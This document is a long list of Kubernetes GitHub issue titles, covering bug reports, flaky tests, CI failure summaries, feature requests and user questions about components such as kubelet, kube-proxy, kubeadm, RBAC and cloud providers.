ubuntu kubeadm package has broken dependency on kubernetes-cni  >= 0.6.0 , can't be installed

add service annotation for aws elb zones so tagging subnets is not required.

possible to replace disk underlying a persistent volume claim if using storage class?

gce: gce.conf file cannot contain key-value pairs not defined in config struct

node-e2e flake   k8s.io  security context when creating a pod in the host network namespace should listen on same port in the host network containers

aws cloud provider need add zhy reigon. endpoint is \ cn-northwest-1\

master-blocking failing tests: verify.godeps and verify.staging-godeps

kubernetes-minion policy to create launch configuration when deploying k8s on aws

test api error return when attempting to {post, put} an object that is too large

azuredisk createvolume should search storage account if no account specified

kubeadm e2e test using weave-net is broken with cni version bump

kubectl apply view-last-applied incorrectly parses %s in the output and replaces with %!s missing

no kind \ priorityclass\  is registered for version \ scheduling.k8s.io/v1beta1

conntrack entities for sctp are not flushed for deleted service endpoints

failure cluster  5ddf67...  failed 90 builds, 2 jobs, and 1 tests over 1 days

found invalid field name for v1.envfromsource when using envfrom in pod

kube-scheduler defaults --lead-elect to false whereas kube-controller-manager defaults to true

failure cluster  b9e2d5...  failed 159 builds, 12 jobs, and 1 tests over 1 days

failure cluster  5e0e27...  failed 185 builds, 23 jobs, and 1 tests over 1 days

kube-scheduler die because of lost lease while kube-apiserver is still working

federation admin doc should mention about federation=true needed in kube-up.sh

ubuntu install error client: etcd cluster is unavailable or misconfigured

./hack/update-generated-protobuf.sh keep reporting modification in future

when statefulset can't create a pod, event messages could be more helpful

rerunning kubectl apply on the same file should not send an empty patch request

kube-proxy in ipvs mode doesn not correctly work with load balancer

non working flexvolume driver blocks another drivers in controller-manager

host port mode with ipvs mode doesn't work on ubuntu 16.04.5 lts

rollingupdate can fail citing inability to find just-created replicationcontroller

fc volume plugin shouldn't unmount global mount point at teaddown sequence

cinder cloud provider's attachdisk should not issue detach inside of it.

updates of running deployments fail with rpc error code = 2  repository not found: does not exist or no pull access

kubedns unauthorized getting initial configmap, failed to list endpoints

failing test  node-e2e: validate node allocatable set's up the node and runs the test

webhook test can randomly fail because it never waits for the pod to be running

some hostpath tests do not require privileged containers to pass

i create a single master cluster with kubeadm, everything is fine but coredns didn't work

improve error messages for non-existent api groups/resource types

kubectl describe should be resilient to errors in fetching related info

gci test failing:  kubernetes-gci-gke-serial-release-1.4    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 35 pods per node

\ kubectl get networkpolicies\ , etc, return new apiversion instead of old

controllers keeps creating extra controllees if initialization is slow

failing test :  sig-testing  ci-kubernetes-e2e-gce-scale-correctness: beforesuite

apiserver aggregator can not change the request.host when access the external http service

k8s.io  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards {kubernetes e2e suite}

k8s.io  loadbalancing: l7  feature:ingress   k8s.io  nginx  slow   feature: ingress  should conform to ingress spec {kubernetes e2e suite}

k8s.io  prestop should call prestop when killing a pod  conformance  {kubernetes e2e suite}

kubectl --token is not honored when ~/.kube/config has an authentication token

spurious failedsync and failedmount events 2 minutes after pod terminates

rbac: application owners should be allowed to create poddisruptionbudgets

default kube-apiserver --cert-dir path is transient, loses auto-generated tls key on restart

code-generator: add \ this file is generated\  to every generated file

defining a custom loadbalancersourceranges in a aws nlb service is not respected

flaky test  emptydir volumes pod should support shared volumes between containers

namespaces and crd have inconsistent delete-on-update behavior than other built-in resources.

kubelet: resolve paths from dynamic config payloads against unpacked config file location

master.config.storageversion is redundant with kube_api_versions

endpoints api object needs change to allow useful merge patching

failed to list  v1.pod & v1.service - getsockopt: connection refused err: failed to get node info: node \ server1\  not found

re-add support for the deprecated esipp beta annotations for v1.8

k8s + flannel + vagrant => dns problem: \ name or service not known\

how to control the access to certain nodeport from external via iptables

make pod-with-node-affinity.yaml match the description in the documentation

re-enable \ feature\  e2e tests to avoid regressions like gluster not working on gci

published k8s.io/client-go modules give  checksum mismatch  when downloaded in different goos

unable to cleanly stop controllers that use delta fifo in integration tests

configure bind-to addresses for each daemon based on --bind-to config rather than an ip.

behavior of commands with respect to errors and printing usage is inconsistent and reduces usability

make sizes of persistent volume and persistent volume claims to be case sensitive and to check volume units

gcloud container get-credentials not authenticating service account

k8s.io  kubectl client  k8s.io  kubectl patch should add annotations for pods in rc  conformance  {kubernetes e2e suite}

k8s.io  esipp  slow  should work for type=nodeport {kubernetes e2e suite}

enable garbage collector by default in replicaset and replication controllers

kubernetes pods logs file is not symlinked to docker-container logs

kustomize in kubectl should be marked experimental, cli process gap

on machines with iptables default deny, kubelet could enable ports in iptables

kubernetes-controller-manager container crashes when cloud-provider is openstack

flake: pull-kubernetes-federation-e2e-gce: error during ./federation/cluster/federation-up.sh: exit status 124

oidc with kubernetes gives : you must be logged in to the server error

imagepolicywebhook admission controller responsecache does not work well

kube-proxy iptables mode is not handling unmatched ip versions properly.

cluster ip will lost connection when restart kube-proxy in version 1.12.5

bare metal kubernetes cluster deployment on ubuntu 14.04 insecure certificate

monitor all components for recovered panics and emit stats on those during the e2e test

ci-kubernetes-e2e-gke-gci-1.4-container_vm-1.5-upgrade-master: broken test run

default service account tokens deleted in all namespaces after apiserver crash

unable to get node info in kubelet: x509: certificate signed by unknown authority

can we use user impersonation or something like this for ds, rs, rc, dc, deplopment controller to make the authorization of pod created by these controllers more flexible?

api server clients can't differentiate between an optimistic lock error and other types of conflicts

creating the pod requested bidirectional propagation will succeed even when kubelet/kubeapi 's  mountpropagation = false

federation  joining cluster service account created by kubefed-join has a potentially-non-unique name

hyperkube v1.7.0 gave warning on duplicate proto type registered

need validate  enforcenodeallocatable  values in kubeletconfig api validation test.

1.10 kubelet doesn't start any daemonset containers with 1.12 control plane

docs formatting - on command line tools reference page for kube api server

very flaky -  sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicationcontroller should scale from 5 pods to 3 pods and from 3 to 1 and verify decision stabilitychanges failing in gce-cos-1.11-serial

container garbage collection should define minage as age since the container termination

k8s.io  kubectl client  k8s.io  kubectl apply should apply a new configuration to an existing rc {kubernetes e2e suite}

deploymentrollback: lack of validation to name of deployment in url and that in request body

stuck at container creating while applying taints with noexecute effect

provide a \ roadmap\  for what users can do post install  + example .

when using client-go library to communicate with master, client list pods with watch hang forever

k8s.io  pods should have their auto-restart back-off timer reset on image update  slow  {kubernetes e2e suite}

investigate on how to decouple containers' lifecycle from daemon

failure cluster  2a5ab8...  failed 381 builds, 28 jobs, and 17 tests over 1 days

sandbox image lookup uses creds from docker config only; other credential providers are ignored

kubernetes container runtime interface  cri  doesn't support windowscontainerconfig and windowscontainerresources

ingress-controller  with tcp-ports cm  anomaly regarding special ports

kubectl replace --grace-period=0 --force ends with nil pointer dereference

make test/e2e/scheduler_predicates.go not break once the old docs repo is turned down

transition gce.conf  and any other gcfg users  to something like text proto

aws: service.alpha.kubernetes.io/external-traffic: onlylocal not working with elb  a.k.a. \ preserve source ip\

k8s.io  pod disks should schedule a pod w/ a readonly pd on two hosts, then remove both ungracefully.  slow  {kubernetes e2e suite}

there is only one container log symlink in kubernetes1.5 but two in kubernetes1.6

stopping ./hack/local-cluster-up.sh leaves sidecar containers running

daemonset pods not getting deployed after failing certain number of times

kube-controller-manager --cloud-provider conflates loops and plugins

node status should include allocated resources info through the api

failure cluster  9d0576...  failed 122 builds, 3 jobs, and 1 tests over 1 days

cni0 does not forward ip packet among containers but arping works after installed k8s 1.7

enable a mechanism sigs can easily use for manual scalability testing while development

test flake: kubectl describe serviceaccount unittest will test occasionally

controllerrevision rollback does not handle multiple versions correctly

csi code cleanup - assemble shared utility functions in a central location

cloud controller manager  node got deleted before providerid is set

failed to get system container stats for \ /system.slice/kubelet.service\

add port annotations to know what protocols a port will support for pods, maybe services

flaking test: 5k nodes:  sig-scalability  load capacity  feature:performance  should be able to handle 30 pods per node replicationcontroller with 0 secrets, 0 configmaps and 0 daemons

get \ more than one authentication method\  error with --kubeconfig and --token options

crd structural schema condition is susceptible to message changes

additional pod life-cycle hook to support commit+push after container exits

build scripts should not attempt to push to gcr.io/google_containers by default

add a verbosity flag in  kubectl  commands that explains all the things that it's doing

node e2e fails with \ failed to configured firewall\  and \ unable to create gce instance\

k8s.io  services should be able to up and down services {kubernetes e2e suite}

failure cluster  8cbcbf...  failed 58 builds, 5 jobs, and 2 tests over 1 days

genericwebhook admission plugin is sending internal objects to webhooks

creating ext4 filesystem on empty network volumes takes long time

attach and detach operations in volume attach detach controller share exponential backoff timer

nginx ingress controller closes chunked encoding requests on when configuration reloads

when running e2e tests, maybe call the \ client\  version the \ e2e test\  version?

replace dependency on \ rbd\  command by /sys/bus/rbd kernel interface

cloud provider api issues can prevent kubelet from reporting node status

duplicate kubernetes watch caches, also some caches should be considered disabled by default

error: unable to decode \ stdin\ : no kind \ apiservice\  is registered for version \ apiregistration.k8s.io/v1beta1\

kubectl wait some-resource --for=delete should never fail with notfound

need to build etcd rollback tool linked against both 3.x and 2.x

use nodeinfo cache for getting node's taints information instead of computing it everytime.

how to try to be scattered on a different host with the specified label？set scheduler policy  or node affinity，is it ok？

testnestedobject unit test fails on sles 12 go 1.8 on ppc64le on master branch

sq-blocking  kops-aws presubmit failing continuously due to cronjob e2e test

cannot apply networking.k8s.io/v1 - updates to networkpolicy spec are forbidden

controller-manager sees higher mem-usage when load test runs before density

confusing results from discovery client confuses namespace deletion

federation should use namespace scoped service accounts to talk to underlying clusters

on mac gce adds 2 local ssds even though node_local_ssds=0 is default

node upgrades: e2e test: ensure persistent volumes survive when pods die

vm sku restriction policy does not work in azure disk attach/detach

race condition in pvc protection controller can lead to deletion of pvc used by pod

k8s.io  service endpoints latency should not be very high  conformance  {kubernetes e2e suite}

featurerequest: add contains to operator list in node affinity syntax

federation   kubefed init  needs verbose logs for debuggability .

service accounts are not shipping with the cluster addons for heapster, fluentd, or the kubernetes dashboard when using rbac

kube-proxy downgrade job applies 1.8  admission_control  env on 1.7 master causes apiserver crashes looping

manifests in test/e2e/testing-manifests/ingress related to gce should be in a separate folder.

webhookconfiguration should allow specifying apiversion for handler

support enabling blockstorage but disabling loadbalancer in cloud provider

failure cluster  303fdf...  failed 204 builds, 27 jobs, and 5 tests over 1 days

in a ha setup, rebooting one master node messes up the entire cluster.

no default value message for app/v1beta1 statefulset statefulsetupdatestrategytype

image manager should return a copy of image list to avoid data race.

kubernetes pods stuck at container creating when shrinking raspbian lite image

cri: clarify what log stream types should a container created tty have

make daemonset respect \ critical pods annotation\  when scheduling

fieldref docs wrongfully claim to support metadata.labels and metadata.annotations

failure 1.5->1.7  emptydir wrapper volumes should not cause {problems}

kubernetes baremetal / vm setup  - externaltrafficpolicy : false not working

admission controller fails on timeout when failurepolicy set to ignore

dns requires trailing '.' to resolve hosts outside of local network

kubemark should replace the fake docker client with a fake cri client

k8s.io  probing container should  not  be restarted with a /healthz http liveness probe  conformance  {e2enode suite}

improved error/response to user when initialization of a resource fails, but the resource is created anyway

resizing a persistent volume is partially broken on openstack  cinder

inconsistent getglobalmappath interface implementation in csiblockmapper

bugs in docker 1.11 may stop kubelet from creating containers in the docker-cri implementation

podsecuritypolicy allowedhostpaths does not effectively restrict to a subpath

admission control webhook with self-signed ca in \ cabundle\  is not trusted

investigate whether there's a race when deltafifo has an external key source

reboot tests should check whether pods spec is  the same  as before rebooting

k8s.io  downward api volume should provide container's memory request  conformance  {e2enode suite}

k8s.io  configmap should be consumable in multiple volumes in the same pod  conformance   volume  {e2enode suite}

feature: azure bind existing ip in another resource group to k8 service of type loadbalancer

delays starting deployments seemingly caused by \ unable to mount volume\  errors

test-cmd flake: error: could not fetch the scale for replicasets

failing tests:  sig-instrumentation  cluster level logging implemented by stackdriver

nodes are not able to communicate with apiserver vip when vip is used as externalip with ipvs

vsphere cloud provider does not work when deployed across zones with zone-local storage

kube-proxy.log is spammed with 'error while parsing endpointslastchangetriggertimeannotation' logs

rolebinding with a clusterrole not able to restrict permission in namespace

deployment controller should handle errors better when retrying updates

no nodes are available that match all of the following predicates:: podfitshostports  1 , podtoleratesnodetaints  1 .

remove scaleio dependency on drv_cfg binary for containerization

waiting for services and endpoints to be initialized from apiserver...

install k8s apiserver: unable to create storage backend: config context deadline exceeded

volumeclaim in statefulset not mounting with non-root permission

clusterrole admin of rbac.authorization.k8s.io is not allowed to create roles for \ job\  resources

kubectl apply does not properly minimize patch when using json merge patch

failed ci  ipvs proxy mode don't compatible with hostport type pod

vsphere cloud provider should avoir using windows nodes for pvc provisionning

error: deployments/scale.extensions <name-of-extension> not found

build/release.sh  hack/lib/golang.sh  requires minimum bash v4.4

multiple pods become stuck in containercreating/terminating state on single kubelet

controller-manager/replication controller duplicates resync loop

clusterips are not accessible from the host when kube-proxy runs in ipvs mode

downward api volume plugin fail in the docker kubernetes cluster

log warnings in fs_resource_analyzer for partially setup pods with no volumes

problem with kubectl apply  -o jsonpath  or  -o go-template  flags

kubeadm kube-controller-manager does not have ceph rbd binary anymore

containers of pod keep restarting while a infra container is created with future timestamp

use taints instead of node condition in the cloud node_controller

increase timeout from a max of 1 day for sessionaffinity by client ip

rest api - container status is represented in an inconvenient fashion

kubelet does not abort  and delete  a pod with an image that has not yet been pulled

rfc  can we add cdn  or mirror for sandbox images download? or provided full images for offline install

kube-apiserver crash-loops when cloudprovider enabled and --advertise-address=0.0.0.0

discuss the feasibility of aws-ebs provisioner to get node zone info from k8s instead of cloud provider

failure cluster  43fbdd...  failed 631 builds, 146 jobs, and 1 tests over 1 days

failure cluster  f6b5f0...  failed 194 builds, 9 jobs, and 1 tests over 1 days

error:  gcloud.compute.ssh   /usr/bin/ssh  exited with return code  255

bug kubernetes gke service loadbalancer  sometimes need to rename a service for it to get load balancer

k8s.io  garbagecollect  serial  garbage collection test: many pods with many restarting containers should eventually garbage collect containers when we exceed the number of dead containers per container {e2enode suite}

--dry-run=true & --validate=true not picking up errors in deployment template

daemonset should auto update pod location when add/remove taint to node

per-pod identity for various workloads including daemonsets and statefulsets

conformance test \ hostpath should give a volume the correct mode\  needs privileged containers

can we deprecate '--image-gc-high-threshold' and 'image-gc-low-threshold'

testupdatenodewithmultiplepods will fail if we run all test in its package  pkg/controller/node/scheduler/

fluentd logging fails to start: fails to start: path /var/lib/docker/containers is mounted on /var/lib/docker/containers

ssh tunnel controller keeps thinking it's out of sync with the nodes on cluster with no nodes

nvidia gpu: the details needed and risks for nvidia gpu workloads, what should be included in kube-scheduler/kubelet?

k8s.io  docker containers should be able to override the image's default arguments  docker cmd   conformance  {kubernetes e2e suite}

k8s.io  daemonrestart  disruptive  kubelet should not restart containers across restart {kubernetes e2e suite}

kubelet is incorrectly exposing  storage  as a new compute resource

psp: export failonnopolicies in podsecuritypolicyplugin to make it configurable

test \  sig-storage  pod disks schedule a pod w/ rw pd s  mounted to 1 or more containers, write to pd, verify content, delete pod, and repeat in rapid succession  slow  using 1 containers and 2 pds\  sometimes fails at large scale

gce cloud provider alphafeaturegate can't handle more then 1 feature

change kubernetes documentation / bug while editing dynamic node config

kube-dns performs poorly when upstream dns server is out of service

kubefed coredns can not resolved nginx.default.federation.svc.zone.region.example.com but can resolved nginx.default.federation

the rescheduler can not be started up due to the stdout point to a directory

the api server container can't start as static pod  after modify the service-node-port-range=30000-60000

downgrade test failure  schedulerpredicates  serial  validates resource limits of pods that are allowed to run  conformance

problem with kube-apiserver after configuring token auth and abac

gke-kinflate flake: fork/exec ../cmd/kustomize/test/main.sh: no such file or directory

kubectl bash completion causes bash file path completion to fail

add e2e test to exercise device plugin failure handling upon kubelet restarts, device plugin restarts, and device failure

removeimage service failed - image is being used by running container

aws security group  not created by kubernetes  deleted when deleting elb

1.10.0 progressdeadlineseconds default added to v1beta1 deployment

kubectl explain  should include the possible values of  crd.status.conditions.type

bazel: pkg/util/sets/build fails when running external, in another bazel repository

kubemark-scale timing out in few runs due to master-pd failing to mount

rc shouldn't update observedgeneration with pending creates/deletes

documentation for built in docker registry produces a non-functional docker registry

failed docker containers are recycled too quickly on the master to see the logs

it would be nice to have a kubectl get pods --all-the-pods-i-can-get

should remove hard code of session affinity timeout in winows kernel proxy

kubectl describe psp doesn't describe allowprivilegeescalation option

403 forbidden when attempting to init, google cloud storage bucket hosting kubernetes releases returns errors

run nvidia gpu device plugin tests on container optimized os only

pr:pull-kubernetes-kubemark-e2e-gce-big flaked 27 times in the past week

support for readonlymany access mode in openebs-iscsi provisioner

kubelet failing to start with error  client version 1.38 is too new  with docker ee-basic 18.03

audit bash scripts for obvious silent failure  \ or true\   bugs

pods in \ unknown\  state should not count against namespace quotas

stop supporting the deprecated  x_gcloud_mode  field in gce scripts

use kubenetes to pull image pull from private registry is broken

kubectl patch - bad error message when json patch is invalid json

sig-auth  serviceaccounts should mount an api token into pods failing in alpha clusters

k8s.io  emptydir wrapper volumes should not conflict {kubernetes e2e suite}

rbac: user with view role able to impersonate user with write role

failed to pull image with \ x509: certificate signed by unknown authority\  error

kubelet 1.8.0: error: unmountvolume.teardown failed for local volume

proposal: sending secrets to the imagepolicy admission controller backend

k8s.io  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance

hack/verify-staging-godeps.sh fails because no proxy set in container

daemonset can create multiple pods per node during failover, does not give at-most-one semantics

failing test   sig-instrumentation  monitoring should verify monitoring pods and all cluster nodes are available on influxdb using heapster.

pod is stuck in terminating status forever after kubelet restart

add priority function for nodenotready count to probabalistically quarantine flapping nodes safely

unable to use ebs/gce pv when aws/gce host is registered via another cloud provider

failure cluster  53cdee...  failed 135 builds, 13 jobs, and 1 tests over 1 days

\ kubernetes dashboard should check that the kubernetes-dashboard instance is alive\  test is broken on 1.10 gke

can't get resource object（deployment、namespaces、configmap）  from kube-apiserver

kubelet fails to start when --cloud-provider=aws in a heavily populated vpc

heapster not running on release-1.7 when kube_enable_cluster_monitoring=none

wrong message of e2e test \ apply set/view last-applied\  about kubectl

1000s of warnings: findexpandablepluginbyspec err:no volume plugin matched

\ docker ps\  no containers in this node, but \ kubectl get po\  has running pods

node e2e: surface the image  os distro  used in the failed tests more clearly

azure disk fails to attach and mount, causing rescheduled pod to stall following node disruption

ci-kubernetes-e2e-gke-stackdriver failure cluster  b5bfce...  failed 95 builds, 1 jobs, and 1 tests over 1 days

failure cluster  b76964...  failed 96 builds, 27 jobs, and 2 tests over 1 days

publish multi-arch images for e2e tests  dockerfile not in test/images

move helper functions from federated controllers unit tests to some library

implement more destructive tests for rest clients that will use multiple hosts

k8s.io  deployment rollingupdatedeployment should delete old pods and create new ones {kubernetes e2e suite}

k8s.io  generated release_1_5 clientset should create pods, delete pods, watch pods {kubernetes e2e suite}

check volumespec if it is nil during volume reconstruction for failure

enhance \ resourcenames\  field's capability in rbac roles to give permissions to all instances of a resource matching some pattern

signal sigsegv: segmentation violation code=0x2 addr=0x7ffc3a32103f pc=0x7ffc3a32103f

k8s api not available during nodepool with autoscaling add/remove node

allow users to specify the user secret namespace in ceph volume driver

deprecate  and then remove  the persistent volume admission controller

41 flakes: k8s.io/kubernetes/pkg/printers/internalversion testdescribeserviceaccount

pull-kubernetes-e2e-gce flakes: stackdriver logging sink: googleapi: error 400: there is a maximum of 90 sinks allowed, failedprecondition

failing test:  sig-storage   persistentvolumes-volumemode tests are failing  feature:blockvolume

sometimes not connect from one container to the mysql of another container

k8s.io   feature:example   k8s.io  cassandrastatefulset should create statefulset {kubernetes e2e suite}

basic statefulset functionality  statefulsetbasic  should provide basic identity is flaky

azure  internal load balancer doesn't add nsg rules for the internal services unlike the public lb

windows pod with azure disk mount is in terminating state forever

gke network load balancers don't get deleted on cluster deletion

multi-master clusters: kubelet doesn't close connections immediately if a master crashes

running of initializers and genericadmissionwebhook seem to be out of order.

e2e start kube-apiserver with admission-control podpreset and  priority but without api groups

please add / create an official image of docker, which will contain kubernetes kubectl client.

discovery client hides the api path associated wtih an api group

node affinity \ preferredduringschedulingignoredduringexecution\  type error

kubernetes do not support publish all exposed ports to random ports

device plugin should only handle allocations of resources managed by it

\ error deleting network: failed to statfs\  during pod shutdown

pvc protection doesn't wait until pod volumes have been unmounted

cannot create pods with volumes with projected secret keys to nested paths on windows nodes

api: frequent resourceversion changes  from status updates  cause false conflicts

integrate federated service dns record management: address remaining code review comments.

aws: instances briefly deregistered from service elb after replacement of single controller instance

etcd manifest should guard against other etcd running at the same time

update the deletereplicaset in rs_util.go to use server side reaper

gke multi zone cluster: pods in primary zone are unscheduled  then re-scheduled  every 5 minutes

failure cluster  ea6679...  failed 262 builds, 61 jobs, and 1 tests over 1 days

code generator wants to replace 2017 with 2018 in all generated license statements

pv protection mechanism does not protect existing pvs in cluster

pull-kubernetes-kubemark-e2e-gce-big pull-kubernetes-integration failed frequently

nvidia gpu should be supported in k8s, and the feature could be added like this.

k8s.io  apparmor  feature:apparmor  when running with apparmor should enforce a permissive profile {e2enode suite}

the openapi generation should be distinct from api type violation checking?

use cephfs，output: mount: wrong fs type, bad option, bad superblock

federation   kubefed init  should also work on clusters without a service load balancer implementation

cri: after enable cri feature on v1.5, unable to pull image for the sandbox container

i had a k8s cluster ,but how to change kube-proxy mode from iptables to ipvs now?

advocate deployment instead of replicationcontroller in documents once it's beta

collect kubemark master logs even if start-kubemark script fails

ensure that host disk space used by docker volume is accounted for

emptydir volume does not empty in pod after physical node restart

kubectl convince for rendering a kubeconfig from a service account

no nodes are available that match all of the predicates: insufficient ephemeral-storage

aws cloudprovider: mtu discovery security group rule cannot be scoped. hardcoded to 0.0.0.0/0

kubelet can not connect to apiserver when the number of nodes increase to 1500

published crd openapi schema takes ~60 seconds to appear, increased test time significantly

e2e  dockerfile  or build integration  for compiling image artifacts.

zero-value settings for kube-proxy being overwritten by default values

'./build/run.sh make test' generates call stack dump instead of summary in the end when test failed

update cadvisor version in kubelet to allow limiting number of exported custom metrics

refactor select e2e tests and incorporate them into automated upgrade testing

local-up-cluster.sh not playing nice with ~/.kube/config - causing login error

flaky ci-kubernetes-e2e-gce-gci suites with \ dial tcp: i/o timeout\

how to associate the  kubelet client user   and  psp service account ?

scalability: a test failure in one test suite can break tests in other tests

convert  extensions.deployment to  v1beta1.deployment fails  kubernetes client-go

proposal  refactor printer funcs to be mainly exposed / consumed through the factory

kubernetes flannel cni does not re-create postrouting masquerade rules

kube-controller-manager: healthz should indicate that the garbage collector is running.

rename gce target pools and forwarding rules to match $clustername prefix convention

k8s.io  downward api volume should update labels on modification  conformance   volume  {e2enode suite}

when running proxy conformance test cases, it was blocked uncertainly

kubelet cannot read config file with kind: kubeletconfiguration not valid for api version v1beta1

support adding single rule to role by using 'kubectl set role/clusterrole'

pull-kubernetes-e2e-gce-gpu failing: quota 'subnetworks' exceeded

ipv6 ips derived incorrectly in proxier's deleteendpointconnections

revisit invalidation of volume related predicate in equivalence class

aws: service.spec.externaltrafficpolicy does not work with elb on 1.7

pod's pvcs using feature \ local volume scheduling\  maybe not support re-scheduling

failing test   sig-cluster-lifecycle  reboot  disruptive   feature:reboot  each node by... multiple failures

kube proxy ipvs mode with externalip resulting in disconnected workers  with itself loopback

use more specialized types than strings in internal api's where sensible

k8s.io  emptydir volumes should support  root,0644,tmpfs   conformance  {kubernetes e2e suite}

securitycontextdeny admission controller should admit all securitycontext options.

issue with loading shared libraries libcurl.so.3 during git clone kubernetes

following container logs can leave processes running and open inotify watches

kubelet key events are dropped accidently by eventsourceobjectspamfilter

failed volume attach/detach operations leave volume state uncertain

azure attach/detach disk api calls do not correctly monitor status

no local endpoints when service.beta.kubernetes.io/external-traffic: onlylocal configured

ability for the scheduler to place besteffort pods on nodes with lower utilization

kube-addon-update.sh causing high load on aws master directly after kube-up.

emptydir volumes should support  non-root,0777,tmpfs   conformance  {kubernetes e2e suite}

eviction manager evicts innocent pods after cleaning up unused images.

storage configuration for serviceaccounts being used to access secrets in apiserver

skydns/kube2sky replication controller doesn't bind volumes and starts only one container out of two

add ipam controller for synchronizing node pod cidr range allocations between the cluster and the cloud  alpha gcp feature

kubelet failed to clear subpath dir if the backend nfs volume is not available

healthz probe error: result of last exec: nslookup: can't resolve 'kubernetes.default.svc.cluster.local'

after 1.8, scheduler could reject unknown extended resource names

e2e: websocket tests not working with https endpoint using public ca

k8s.io  kubectl client  k8s.io  kubectl apply should reuse port when apply to an existing svc {kubernetes e2e suite}

k8s.io  statefulset  k8s.io  basic statefulset functionality scaling should happen in predictable order and halt if any pet is unhealthy {kubernetes e2e suite}

cpu and memory usage not visible in kubernetes dashboard without a restart

bug kubeadm config image list gives differnet image name from kubeadm init use in cfact

e2e tests of \  sig-node  regular resource usage tracking\  are failed

scheduler is ignoring some pods in large clusters and they hang in \ pending\  state for hours

dns entries not exposed for statefulset and headless service in kubernetes 1.8 or 1.9

serial node-e2e tests which use dynamic kubelet config are failing

aws: unexport unnecessarily exported methods and variables about recognize region

upgrade from a lower version of kubernetes to v1.14 will cause container to stop

setting up kubernetesui and grafana ui in single node kubernetes cluster

remove e2e_set_cluster_api_version; it's confusing and unnecessary

controllers should use versioned clientset instead of internal clientset

addon manager should support addons switching between mode=reconcile and mode=ensureexists without modifying the addon manifest

pull-kubernetes-verify  failing with  verify-swagger-spec  failure

support oidc distributed claims for group resolution in the k8s apiserver oidc token checker

vsphere cloud provider dynamic provisioning should not use white space

\ make quick-release\  using docker fails on macos with \ no space left on device\

requests and limits of memory, cpu unit conversion has bugs to requests and limits of memory, cpu unit conversion has bugs

daemonset controller start new pod when the old pod is still in terminating state

when using 'custom metrics', the number of scaled pods is more than the value returned by the 'custom metrics' itself

e2e flake   sig-apps  job should run a job to completion when tasks sometimes fail and are not locally restarted

when the name of nodes is hostname, metrics-server cannot obtain node data.

kube_aws_instance_prefix in aws config default should be annotated

e2e test suite times out if removeopaqueresource is called as part of an aftereach closure in test/e2e/opaque_resource.go.

switch to unixuserid breaks validation for kubectl 1.6 against 1.7 clusters  unexpected type: types.unixuserid

volume manager should not mount the volumes for pods rejected by kubelet

kubectl apply when reading multiple files should order crud operations properly

how to remove \ node-role.kubernetes.io/master=<no value>:noschedule\  taint

kubernetes.io shows generic snippet when posting in  kubernetes-users slack

provide a way to categorize or group common parameters in a template

readiness probe is failing, but the service is accessible when execd

oidc not working when .well-known/openid-configuration has an expires header of -1

separate the e2e_test.go into a separate file which can be referenced and imported.

consider using fluentd's buffer_queue_full_action setting to avoid dropping logs when the buffer is full

include cluster name in the description fields of cloud resources we create

k8s.io  resource-usage  serial   slow  regular resource usage tracking resource tracking for 10 pods per node {e2enode suite}

kubemark-5k failing load test due to high latency of list api requests

the status of volumeclaimtemplates was pending even if the pvc was created already

failing test :  sig-scalability  density, scalability should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons

k8s.io  networking  k8s.io  granular checks: services  slow  should update endpoints: http {kubernetes e2e suite}

add windows support in the docker-cri implementation  pkg/kubelet/dockershim

auto-generated file cannot be updated when api types changed/updated

the device plugin with normial network interface controller to pod

official coredns should be bound to nodeselector: beta.kubernetes.io/os=linux

kubelet has an exception log \ couldn't propagate object cache: timed out waiting for the condition\

k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  {kubernetes e2e suite}

hack/verify-golint.sh should exit immediately if golint isn't installed

fc plugin: fails to remove loopback and scsi device during teardown path

flaky tests: k8s.io/kubernetes/test/integration/ipamperf testperformance/rangeallocator-kubeqps10-nodes10

show resource usage summary using  kubectl get -o wide resourcequotas

failing test: gce-new-upgrade-parallel could not reach http service through 35.232.211.55:80 after 2m0s

how can i connect to the port in pod in outside network port-forward?

esipp  slow  e2e tests failing on large cluster release-blocking job

vsphere cloud provider should not require its own role and policy

it should be possible to check configuration without starting the process

glusterfs log files may become very large if volumes mount failed

change addon yamls and the addon-resizer to reflect best practices for resource requirements

feature request:  kubectl  should output  age  as elapsed time in current state

improve debugging of api failures due to deepequals comparison failures.

client-go should ignore the resourceversion of delete event when watching

kubeadm fails after v1.12.0-alpha.0 tag was added to the repository

error message: \ failed to get azure cloud in getvolumelimits\  in bare-metal setup after upgrade to 1.12.1

ingress controller can generate real certs via letsencrypt client

support both \ type\ :\ any\  and \ type\ :\ object\  in kubectl validation

kubelet doesn't restart pods on the hostnetwork if cni isn't initialized

in case of correlated failures node agents can overload api server

document that genericadmissionwebhook uses/requires proxycert & requestheader flags

proxied watches are not load-balanced among aggregated api-servers

follow up of  68530 and fixing  68115 in a better way after release 1.12 code freeze

how to incrementally roll out update node when using dynamic kubelet configuration

enabling api in released kube clusters needs to be last step and subject to scrutiny

test \  sig-storage  dynamic provisioning dynamicprovisioner external should let an external dynamic provisioner create and delete persistent volumes  slow \  fails at large scale

document in detail what the --cloud-provider option to each k8s component does

federation: write a brief developer guide for adding a new federated api object

node stops accepting requests and has event error but is still in pool as \ ready\

createcontainerconfigerror : failed to prepare subpath for volumemount  possibly only for readonly volumes

gcm: enable all gcm stuff when using googleinfluxdb heapster config

the multizone setting in gce.conf is ignored by persistentvolumelabel

make sure the discovery fake client can be effectively used in unit tests

local-up-cluster: cfssl is downloaded everytime, it should be downloaded just once

how to use rbd volumes  pod fails to start with error \ rbd: failed to modprobe rbd\

implementation gaps between flexvolume and csi for node-local volumes

gke: support autoscaling of instances based on http load through l7 ingress

k8s.io  kubectl client  k8s.io  kubectl run --rm job should create a job from an image, then delete the job  conformance  {kubernetes e2e suite}

k8s.io  networking  k8s.io  granular checks: services  slow  should function for endpoint-service: http {kubernetes e2e suite}

refactor pkg/api/validation/validation.go to some small validations

pod will be created again and again when we have not enough cpu.

the \ accelerators\  feature should not be turned on if container runtime is not docker

make zsh completion work when the command isn't exactly  kubectl

kube-apiserver: --advertise-address/--bind-address not working with \ blank\  ip

failing test  timeouts in ci-kubernetes-e2e-gce-scale-performance

allow users to wait for conditions from kubectl and using the api

support 'kubectl proxy deployment/nginx' to auto append resource url

